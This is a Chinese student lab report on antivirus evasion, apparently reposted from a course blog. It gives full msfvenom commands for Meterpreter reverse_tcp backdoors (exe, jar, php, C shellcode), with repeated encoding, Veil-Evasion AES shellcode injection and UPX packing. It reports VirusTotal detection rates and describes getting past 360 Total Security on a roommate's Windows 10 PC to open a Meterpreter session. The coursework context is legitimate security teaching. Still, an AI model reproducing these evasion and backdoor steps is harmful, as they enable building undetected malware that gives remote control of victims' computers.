20191223-Exp3-免杀原理

Exp3-免杀原理

姓名:张俊怡 学号:20191223 课程:网络对抗技术

一、实践内容

  1. 方法
  2. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  3. veil,加壳工具
  4. 使用C + shellcode编程

2.通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  1. 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实践过程记录

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
让我们看看它有哪些功能:

20191223-Exp3-免杀原理

翻译一下:

* -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length> 为payload预先指定一个NOP滑动长度
-f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture> 指定payload的目标架构
--platform platform> 指定payload的目标平台
-s, --space length> 设定有效攻击荷载的最大长度
-b, --bad-chars list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations count> 指定payload的编码次数
-c, --add-code path> 指定一个附加的win32 shellcode文件
-x, --template path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path> 保存payload
-v, --var-name name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

1.1 正确使用msf编码器,生成exe文件

在第二次实验中使用msf生成了一个后门程序,我们使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

20191223-Exp3-免杀原理

用VirusTotal扫描后结果如下图所示:

20191223-Exp3-免杀原理

检出率为(54/69)
由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。

一次编码
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’\x00’为结束符

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(51/70),减少了一丢丢。。

十次编码
使用命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-i设置迭代次数

(理论上增加编码次数会降低检出率)

20191223-Exp3-免杀原理

检测结果见下图:

20191223-Exp3-免杀原理

检出率为(54/70),并没有下降,反而上升了。

可见多次编码对免杀没有太大的效果,原因有两点:

  • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差。
    msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe。

1.2 msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor_java.jar

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(31/60),已经接近百分之50了。迈克菲依旧坚挺。。

1.3 msfvenom生成php文件

指令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor.php

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
检出率为(21/57),已经低于百分之50。

2.使用veil-evasion生成后门程序及检测

2.1安装veil

Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;
sudo apt-get install veil-evasion命令安装Veil

设置

cd /usr/share/veil/config
vim setup.sh

此时需要进入root模式。
按ESC键退出编辑内容模式,输入”:set number”后按回车键,就可以显示行号了。
找到第260行的github仓库地址,并改为码云的地址 https://gitee.com/spears/VeilDependencies.git

20191223-Exp3-免杀原理
修改成功后,等待veil安装
20191223-Exp3-免杀原理
等了好一会儿,终于done!
不过还有一个小问题:
20191223-Exp3-免杀原理
根据错误提示,执行如下命令: /usr/share/veil/config/setup.sh --force --silent
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!

看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具。

20191223-Exp3-免杀原理

2.2使用veil-evasion生成后门程序及检测

  • use evasion命令进入Evil-Evasion
    输入命令·use c/meterpreter/rev_tcp.py·进入配置界面

20191223-Exp3-免杀原理
设置IP和端口 set LHOST 192.168.21.131 和 set LPORT 1223
20191223-Exp3-免杀原理

输入 generate生成文件,接着输入你想要playload的名字: veil-20191223
VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

2.3免杀加壳尝试

加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解,查壳就是为了找它),类似于动物界的龟壳。大多数病毒就是基于此原理。

指令upx 20191223veil.exe -o 20191223veil_upx.exe

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
20191223-Exp3-免杀原理

检出率为(47/70)反而上升了,能看出加壳反而没什么效果。。。

3.使用C + shellcode编程

首先使用msfvenom得到shellcode

指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f c

20191223-Exp3-免杀原理

创建一个文件20191223backdoor.c,然后将unsigned char buf[]赋值到其中,代码如图:

20191223-Exp3-免杀原理

使用命令: i686-w64-mingw32-g++ 20191223backdoor.c -o 20191223backdoor.exe编译为可执行文件;

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(34/70),低于百分之50.

4.通过组合应用各种技术实现恶意代码免杀

启动veil,进入evasion,输入list查看可用的有效荷载,如下:

20191223-Exp3-免杀原理
我们选择第28行的payload
use python/shellcode_inject/aes_encrypt.py
generate
选第二个

20191223-Exp3-免杀原理

找到文件位置,用VirusTotal网站的扫描结果如下,实现免杀:

20191223-Exp3-免杀原理

20191223-Exp3-免杀原理

原理是在py环境下利用AES加密方式对后门程序进行传输加密。。(微信小程序与此方式有相似之处)

5.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

我使用的测试机是我的舍友张潇的电脑。
电脑版本:win10
杀软版本:360安全卫士
kali虚拟机ip地址:192.168.1.216

在虚拟机输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.216 lport=1223 -f raw -o 20191223.raw生成raw文件
(需要在root下执行)

20191223-Exp3-免杀原理

需要在对方计算机上下载 shellcode_launcher 参考博客
然后在对方的电脑上输入 shellcode_launcher.exe -i 20191223.raw 运行生成的文件

20191223-Exp3-免杀原理

然后打开杀软,进行检测:

20191223-Exp3-免杀原理
成功绕过杀软!!很激动!!
然后我们进入msf控制台,进行配置
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.216 //此处为kali端ip地址
set LPORT 1223
exploit

20191223-Exp3-免杀原理
成功获得shell!

6.基础问题回答

1.杀软是如何检测出恶意代码的?
答:
(1)基于特征码的检测. 恶意代码常常具有明显的 特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码;
(2)基于CFG和数据流分析的污点追踪引擎。这算是对程序分析技术的经典应用;
(3)加密文件分析。
(4)基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。
是指通用的、多特征的、非精确的扫描。

2.免杀是做什么?
答:就是通过修改PE文件的代码、软件加壳或改变文件的结构来达到躲避杀毒软件查杀的目的。

3.免杀的基本方法有哪些?
答:
(1)直接修改特征码的十六进制法.。修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制. 。适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能. 否正常使用.。
(2)修改字符串大小写法。修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。适用范围:特征码所对应的内容必需是字符串,否则不能成功.

(3)改变行为
通讯方式:
尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
使用隧道技术,这个一般没有现成的组件。
加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。

4.开启杀软能绝对防止电脑中恶意代码吗?
答:答案是否定的。。
我们不能保证杀软的病毒库记录了所有恶意代码的特征码片段,因为恶意代码是不断更新的。
根据网上的数据显示,目前最优秀的杀软也只能检测出98%的恶意软件。

7、实验体会

通过这次实验,我尝试了生成能实现免杀的后门程序(虽然仅针对360安全卫士和腾讯管家),我切实体会到杀毒软件并不是万能的,不能指望杀软能够解决掉所有的安全问题。我深入了解了杀软进行恶意代码查杀的机制之一(提取特征码),我们在实验中生成的程序如果进行联网查杀的话,第一次并不会查出来,但是一段时间后再进行杀毒,就会被发现,这是因为杀软把你刚生成的程序的特征码提取了出来,然后传到服务器(需要一定时间),杀软的特征库是一直再更新的。。作为信息安全专业的学生,我很高兴能够在本次实验中了解免杀流程以及杀软工作流程,明白了免杀程序的危害性以及杀软的缺点,我们日常工作中一定要留意电脑中的可疑程序,不要因为打开了杀软就觉得自己是安全的,要时刻警惕恶意软件的攻击。

Original: https://www.cnblogs.com/zzjjyy123/p/16098985.html
Author: 20191223张俊怡
Title: 20191223-Exp3-免杀原理

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585851/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Java多线程volatile、ThreadLocal、线程池、atomic

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月11日
    092
  • .htaccess文件解析漏洞

    前言 htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的…

    Linux 2023年6月13日
    076
  • RabbitMQ知识简单理解

    官网链接:http://next.rabbitmq.com/getstarted.html 官网给出了每种工作模式的实例代码,可以参考其中的实现 一、RabbitMQ整体架构图 二…

    Linux 2023年6月14日
    0109
  • zabbix钉钉报警

    1、要在linux中安装python3 yum install -y python3(如果直接安装不上参考别的文章) 这个安装好后默认有pip3(安装好模块否则发送不到) pip3…

    Linux 2023年6月6日
    092
  • cobbler

    cobbler 1. cobbler简介 2. cobbler服务端部署 cobbler简介 Cobbler是一个Linux服务器安装的服务,可以通过网络启动(PXE)的方式来快速…

    Linux 2023年6月7日
    079
  • Spring Boot中异步请求和异步调用

    一、SpringBoot中异步请求的使用 1、异步请求与同步请求 特点: 可以先释放容器分配给请求的线程与相关资源,减轻系统负担,释放了容器所分配线程的请求,其响应将被延后,可以在…

    Linux 2023年6月7日
    0111
  • Docker存储卷

    Docker存储卷 1、COW机制 Docker镜像由多个只读层叠加而成,启动容器时,Docker会加载只读镜像层并在镜像栈顶部添加一个读写层。 如果运行中的容器修改了现有的一个已…

    Linux 2023年6月7日
    082
  • Golang 实现 Redis(7): 集群与一致性 Hash

    本文是使用 golang 实现 redis 系列的第七篇, 将介绍如何将单点的缓存服务器扩展为分布式缓存。godis 集群的源码在Github:Godis/cluster 单台服务…

    Linux 2023年5月28日
    093
  • tomcat

    1. tomcat简介 2. tomcat的部署 2.1 java环境的安装 2.2 tomcat部署 2.3 访问Host Manager界面 2.4 访问Server Stat…

    Linux 2023年6月13日
    0117
  • CentOS——Redis消息订阅发布

    作用: 发布订阅类似于信息管道,用来进行系统之间消息解耦。类似于mq,rebbitmq,rocketmq,kafka,activemq 主要有消息发布者和消息订阅者。 比如:订单支…

    Linux 2023年5月28日
    0103
  • docker操作常用命令:

    镜像查询:docker seacher xxxx 下载: dcoker pull xxx 查看下载的镜像: docker images 运行docker :以redis 为例: d…

    Linux 2023年6月13日
    088
  • 实验3: OpenFlow协议分析实战

    实验三: OpenFlow协议分析实战 (一) 基本要求 1.搭建拓扑、IP配置、主机通信 1.1 搭建拓扑 1.2 IP配置 1.3 代码 #!/usr/bin/env pyth…

    Linux 2023年6月7日
    095
  • Hystrix 源码解读

    转载请注明出处: 1.引入依赖: 2. 查看自动配置类HystrixCircuitBreakerConfiguration 查看 org.springframework.cloud…

    Linux 2023年6月14日
    097
  • 万字长文入门 Redis 命令、事务、锁、订阅、性能测试

    作者:痴者工良 Redis 基本数据类型 Redis 的 Key Redis Key 命名 设置 Key 过期时间 判断键是否存在 搜索 Key 判断键类型 删除键 RESP 协议…

    Linux 2023年5月28日
    091
  • list底层实现

    list和vector都是容器,只不过他们的存储结构不同,vector实际底层结构是顺序表,支持随机访问。list的底层结构带头双向链表,不支持随机访问。 但list的底层实现不同…

    Linux 2023年6月13日
    0105
  • Shell 脚本是什么?

    一个 Shell 脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell 脚本)来完成这…

    Linux 2023年5月28日
    098
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球